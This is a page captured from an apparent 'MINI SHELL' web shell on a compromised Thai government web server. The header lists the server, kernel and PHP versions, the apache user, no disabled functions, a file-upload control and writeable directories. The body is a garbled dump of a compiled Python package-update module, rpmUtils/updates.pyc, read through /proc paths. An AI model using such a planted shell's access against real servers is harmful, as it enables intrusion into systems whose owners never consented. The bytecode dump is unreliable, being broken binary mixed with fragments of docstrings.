MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/rpmUtils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/rpmUtils/updates.pyc
m
ODc@s2dkZdkZdkZdfdYZdS(NtUpdatescBstZdZdZdZdZdZdZdZdZ	dZ
d	Zd
Ze
e
dZe
e
dZe
e
d
Zde
e
dZde
e
dZde
dZe
e
dZdZRS(sKThis class computes and keeps track of updates and obsoletes.
       initialize, add installed packages, add available packages (both as
       unique lists of name, epoch, ver, rel, arch tuples), add an optional dict
       of obsoleting packages with obsoletes and what they obsolete ie:
        foo, i386, 0, 1.1, 1: bar >= 1.1.cCsg|_||_||_h|_d|_dddddddg|_t	i
i|_|i
|id|_|i
|id|_h|_d	|_dS(
Nitkernels
kernel-smptglibcskernel-hugememskernel-enterprises
kernel-bigmemskernel-BOOTi(tselft	changeTuptinstlistt	installedt	availlistt	availabletrawobsoletest	exactarcht
exactarchlisttrpmUtilstarchtgetCanonArchtmyarcht
makeNADicttinstalldictt	availdicttupdatesdicttdebug(RRR((t4/usr/lib/python2.4/site-packages/rpmUtils/updates.pyt__init__s						cCs|io	|GHndS(N(RRtmsg(RR((Rt
debugprint5s
c	Csh}x|D]\}}}}}|i||fpg|||f<n|||fi|||f|oQ|i|dfpg||df<n||dfi||||fq
q
W|S(sreturn lists of (e,v,r) tuples as value of a dict keyed on (n, a)
            optionally will return a (n, None) entry with all the a for that
            n in tuples of (a,e,v,r)N(t
returndicttpkglisttntatetvtrthas_keytappendt	NoneliststNone(	RRR"RRRRRR((RR9s +c	Cst|djotidnt|djo|dSn|d\}}}xe|dD]Y\}}}ti
i|||f|||f}|djo|}|}|}q`q`W|||fS(s;takes a list of (e, v, r) tuples and returns the newest oneis%Zero Length List in returnNewest calliN(
tlentevrlistRt
RpmUtilsErrortnew_etnew_vtnew_rRRRt	miscutilst
compareEVRtrc(	RR%R(R)R,R'RRR((RtreturnNewestLs'
cCs<g}x[|D]S\}}}}}
||jo1||jo |i	|||||
fq`q
q
Wt
|djogSng}x3|D]+\}}}}}
|i	|||
fqW|i
|\}	}}g}
x\|D]T\}}}}}
|	||f|||
fjo |
i	|||||
fqqW|
S(sreturns a list of package tuples in a list (n, a, e, v, r)
           takes a package name, a list of archs, and a list of pkgs in
           (n, a, e, v, r) form.iN(t	matchlistRRRRRRtnametarchlistR!R$tverlistRR-thigh_ethigh_vthigh_rt
returnlist(RR/R0RRRR.R1RR2RRR3R5R4((Rt"returnHighestVerFromAllArchsByName_s(

($cCsbx[|iiD]J}t|i|djo*|i|}tii||i|<qqWdS(s+remove any accidental duplicates in updatesiN(	RRtkeysttupR$tmylistRR*tunique(RR8R9((RtcondenseUpdates{s
c
Csh}x|iiD]}|\}}}}}
x|i|D]\}}\}
}}|ddgjo&|ii|dfo	x|i|dfD]\}}}	}d}|ii|dfosxp|i|dfD]W\}}}}|||
f}|||f}|i||f|jod}PqqWn|oB|i|pg||<n||i||||	|fqqWqq?|ii|dfoDxA|i|dfD](\}}}	}ti i!|||
||ff||||	|fod}|ii|dfosxp|i|dfD]W\}}}}|||
f}|||f}|i||f|jod}Pq9q9Wn|oB|i|pg||<n||i||||	|fqqqWq?q?WqW||_"|i#dS(svfigures out what things available obsolete things installed, returns
           them in a dict attribute of the class.iiN($tobsdictRR	R7tpkgtupR/R
tepochtvertreltobs_ntflagtobs_etobs_vtobs_rR#RR trpm_atrpm_etrpm_vtrpm_rtwillInstalltins_atins_etins_vtins_rtpkgvertinstalledverR-R!RR*t
rangeCheckt	obsoletestmakeObsoletedDict(RRMRFR?RGR
RIR>R=RHR@RARNRCRLRBRKRERDR<ROR/RPRJ((RtdoObsoletessX

0
8	cCswh|_xg|iiD]V}xM|i|D]>}|ii|pg|i|<n|i|i|q-WqWdS(screates a dict of obsoleted packages -> [obsoleting package], this
           is to make it easier to look up what package obsoletes what item in 
           the rpmdbN(Rtobsoleted_dictRRR7tnewtoldR R!(RRVRW((RRSs	c"
Cs%g}g}h}g}|i}tii|i	}x|iD]\}}|d	jobxX|||fD]F\}}}!}||jo'|||fi|||!|fqmqmWqCn||jo|||f=qCqCqCWx|iD]\}}|d	joqn|i|||f\} }}xd|||fD]R\}}!}| ||f||!|fjo$|||fi||!|fqCqCWqWx&|iD]\}}|d	joqn|ii||fox|i||fD]\}}}
y&|i|||f\}}!}Wntij
o
qqXtii||!|f|||
f}
|
djo>y$|||fi||!|fWqt j
oqXqqWqqWx6|iD](}t"||djo||=qqWx.|iD] \}}|d	joqn|ii|d	fog}	g}x1||d	fD]\}}}!}|i%|qbWx4|i|d	fD]\}}}!}|	i%|qWt"|djpt"|	djo"|i&d||i%|q,|i&d||i%||fqqWxP|D]H\}}||i'jo%|ii||fo|i|i||f\}}}
|i||fo|i|||f\}}!}tii||!|f|||
f}
|
djoo|i|||||
fpg||||||
f<n||||||
fi%||||!|fqpqtqq7|i|d	fd\}}}}
|i|d	fox||d	fD]\}}}!}tii||!|f|||
f}
|
djoo|i|||||
fpg||||||
f<n||||||
fi%||||!|fqqWq7q7Wg}tii*d|i	otii+i|i	o|i	g}n|i	tii-|i	g}tii.|i	d}tii|}||g}n
|g}x|D]}x|D]}g}xC|i|d	fD].\}}}!}|i%||||!|fq_W|i3|||}g}x@||d	fD].\}}}!}|i%||||!|fqW|i3|||}|i6|d}|i6|d}||i'jo)x|D]\}}|i||fo|i&d||f|||fd\}}}
|||fd\}}!}tii||!|f|||
f}
|
djoo|i|||||
fpg||||||
f<n||||||
fi%||||!|fqY	q?q?Wq?|i&d|g}g}x'|iD]\}}|i%|q	Wx'|iD]\}}|i%|q	Wtii:|d|i	}tii:|d|i	}|d	jp
|d	joq?n|||fd\}}}
|||fd\}}!}tii||!|f|||
f}
|
djoo|i|||||
fpg||||||
f<n||||||
fi%||||!|fq?q?Wq2W||_;|i<d	S(
scheck for key lists as populated then commit acts of evil to
           determine what is updated and/or obsoleted, populate self.updatesdict
        iisputting %s in complex updatesputting %s in simple updateR
sprocessing %s.%ss
processing %sRN(=tsimpleupdatet
complexupdatet
updatedicttnewpkgsRRRR
tgetArchListRR0R7RRR#RRRtremoveR-R'R(R)RR RGRHRIR&R*R+R,t
ValueErrortnakeyR$tinstallarchst
availarchsR!RRRFt	archliststisMultiLibArchtmultilibArchestbiarchestarchestgetMultiArchInfotmulticompatt
multiarchlisttthisarchlistttmplistR6thighestinstalledpkgsthighestavailablepkgsRthapdictthipdictt	instarchstgetBestArchFromListRtmakeUpdatingDict("RR0R_RYRkRFRGR[RlR`RIRRHR,R(RoRiReRZRnRmR)R
RbRhRRpRRXRRjRaR'R((Rt	doUpdatess(	


+



",

&'
$


&%"'
?#'
?
	 	 	'
?

'
;	cCswh|_xg|iiD]V}xM|i|D]>}|ii|pg|i|<n|i|i|q-WqWdS(screates a dict of available packages -> [installed package], this
           is to make it easier to look up what package  will be updating what
           in the rpmdbN(Rt
updating_dictRR7RWRVR R!(RRVRW((RRrs	c
Csg}	|p|ox|D]\}}}}}|o4||jo#|	i	|||||fqqkn|o4||jo#|	i	|||||fqqqqWn|}	|	S(s?returns a set of pkg naevr tuples reduced based on name or archN(
R5R/R
RRRRRRR!(
RRR/R
RRRRRR5((RtreduceListByNameArchs

cCsjg}xW|iiD]F}|\}
}}}}x(|i|D]}|i||fq?WqWg}	|o]xZ|D]N\\}}}}}}||jo&|	i|||||f|fqtqtWn|o]xZ|D]N\\}}}}}}||jo&|	i|||||f|fqqWnx5|	D]-}
y|i|
Wq5tj
oq5Xq5W|S(s`returns updates for packages in a list of tuples of:
          (updating naevr, installed naevr)N(R5RRR7toldtuptold_ntold_atold_etold_vtold_rtnewtupR!RkR/RRRRRR
titemR]R^(RR/R
RRR|RRzRRkR}RRvRwR{RxR5Ry((RtgetUpdatesTupless4
.
.	cCs^g}x<|iiD]+}x"|i|D]}|i|q*WqW|i|||}|S(s5returns updating packages in a list of (naevr) tuplesN(
R5RRR7RvR|R!RuR/R
(RR/R
R|RvR5((RtgetUpdatesListsicCs5g}|ii}
|o|i|
}
nx9|
D]1}x(|i|D]}|i	||fqJWq6Wg}|p|ox|D]\}\}}}}
}	|o:||jo)|i	|||||
|	ffqqn|o:||jo)|i	|||||
|	ffqq#qqWn|}|S(sAreturns obsoletes for packages in a list of tuples of:
           (obsoleting naevr, installed naevr). You can specify name and/or
           arch of the installed package to narrow the results.
           You can also specify newest=1 to get the set of newest pkgs (name, arch)
           sorted, that obsolete somethingN(RkRRRR7tobslisttnewestt_reduceListNewestByNameArchtobstuptrpmtupR!R5R/R
RRRRR(RRR/R
RRRRRkRRRR5R((RtgetObsoletesTupless0
"
"cCsB|ii}|o|i|}n|i|||}|S(s^returns obsoleting packages in a list of naevr tuples of just the
           packages that obsolete something that is installed. You can specify
           name and/or arch of the obsoleting packaging to narrow the results.
           You can also specify newest=1 to get the set of newest pkgs (name, arch)
           sorted, that obsolete somethingN(
RRRR7RkRRRuR/R
R5(RRR/R
R5Rk((RtgetObsoletesListscCsrg}	xe|iiD]T}xK|i|D]<}|\}}}
}}||jo|	i|q*q*q*WqW|	S(s:returns a list of pkgtuples obsoleting the package in nameN(
R5RRRR7RVRRRRRRR/R!(RRR/RRRRRRVR5R((RtgetObsoletedLists

cCsh}h}g}x|iD]}d||<qWx|iD]}d||<q=WxD|iD]9}|i|o"|i|o|i	|q[q[W|i
|||}|S(sreturns a naevr tuple of the packages that are neither installed
           nor an update - this may include something that obsoletes an installed
           packageiN(tupdatestinstRkRRR=RRR R!RuR/R
R5(RR/R
R5RkR=RR((Rt
getOthersList*s 


"cCsh}
x|D]}	|	\}}}}
}|
i||fp|	|
||f<q
|
||f}|\}}}}}tii||
|f|||f}|djo|	|
||f<q
q
W|
iS(sreturn list of newest packages based on name, arch matching
           this means(in name.arch form): foo.i386 and foo.noarch are not 
           compared to each other for highest version only foo.i386 and 
           foo.i386 will be comparediN(thighdictt	tuplelistR=RRRRRR tpkgtup2tn2ta2te2tv2tr2RR*R+R,tvalues(RRRRRRR,RRR=RRRRRR((RRBs'
(t__name__t
__module__t__doc__RRRR-R6R;RTRSRsRrR#RuR~RRRRRR(((RRs&							9			"
(trpmUtils.miscutilsRt
rpmUtils.archR(RR((Rt?s			

Anon7 - 2021